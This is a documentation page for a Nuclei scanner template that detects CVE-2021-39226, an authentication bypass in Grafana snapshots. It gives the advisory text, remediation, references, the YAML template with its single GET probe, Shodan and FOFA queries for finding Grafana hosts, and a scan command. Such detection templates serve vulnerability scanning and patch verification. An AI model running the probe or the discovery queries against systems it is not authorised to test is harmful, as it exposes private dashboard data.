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Grafana Snapshot - Authentication Bypass

ID: CVE-2021-39226

Severity: high

Author: Evan Rubinstein

Tags: cve2021,cve,grafana,kev

Description

Section titled “Description”

Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).

YAML Source

Section titled “YAML Source”
id: CVE-2021-39226


info:
  name: Grafana Snapshot - Authentication Bypass
  author: Evan Rubinstein
  severity: high
  description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).
  impact: |
    An attacker can bypass authentication and gain unauthorized access to Grafana Snapshot feature.
  remediation: 'This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.'
  reference:
    - https://github.com/advisories/GHSA-69j6-29vr-p3j9
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39226
    - https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269
    - https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/
    - http://www.openwall.com/lists/oss-security/2021/10/05/4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2021-39226
    cwe-id: CWE-287
    epss-score: 0.97206
    epss-percentile: 0.9981
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2021,cve,grafana,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/api/snapshots/:key"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"isSnapshot":true'


      - type: status
        status:
          - 200
# digest: 4a0a004730450221008c4648b1ad2d46d69bdd77beb9dd8780325d54655a1a4688e723c6b6538806a802200a6f5b47055bb048bd03965aa299c2400631daaee167aeff93e29aebdd4034ea:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-39226.yaml"

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